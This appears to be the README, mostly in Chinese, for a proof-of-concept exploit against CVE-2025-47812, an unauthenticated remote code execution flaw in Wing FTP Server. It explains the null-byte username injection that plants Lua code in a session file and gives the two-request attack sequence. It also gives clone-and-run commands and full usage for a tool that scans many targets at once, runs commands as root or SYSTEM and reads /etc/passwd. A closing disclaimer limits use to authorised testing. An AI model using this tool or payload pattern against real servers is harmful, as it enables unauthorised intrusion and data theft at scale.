____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ /_/ /___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
针对 CVE-2025-47812 的概念验证利用程序，这是 Wing FTP Server 7.4.4 之前版本中的一个未经身份验证的远程代码执行漏洞。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2025-47812 |
| 受影响版本 | Wing FTP Server <= 7.4.3 |
| 类型 | 未经身份验证的远程代码执行 |
| 权限 | root (Linux) / SYSTEM (Windows) |
| 厂商 | wftpserver.com |
| 原作者 | Sheikh Mohammad Hasan 又名 4m3rr0r |
| 修改者 | d3vn0mi |
Wing FTP Server 的 c_CheckUser() 函数为了进行身份验证，会在空字节（%00）处截断用户名，但未经清理的完整用户名（包括空字节之后的所有内容）会被写入 Lua 会话文件中。当访问诸如 /dir.html 之类需要身份验证的端点时，服务器会执行该会话文件，从而以提升的权限触发注入的 Lua 代码。
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Server authenticates "anonymous" (truncated at NULL)
but writes full payload into session file → returns UID cookie
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Server loads session file → executes injected Lua → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
# Check a single target
python3 exploit.py -u http://192.168.1.10
# Run 'whoami' and see full output
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# Scan a list with 8 threads, log everything to a file
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# Use custom credentials with SSL verification disabled
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# Verbose mode for debugging
python3 exploit.py -u http://192.168.1.10 -v
--log-file 的可选文件日志记录-t 参数对大量目标进行并行扫描--retries 配置）--no-verify 处理自签名证书# 注释和自动去重-c 显示完整的命令输出此工具仅供授权的安全测试和教育目的使用。仅针对您拥有或获得明确书面许可的系统进行测试。未经授权访问计算机系统是违法的。作者不对因使用此工具造成的任何误用或损害负责。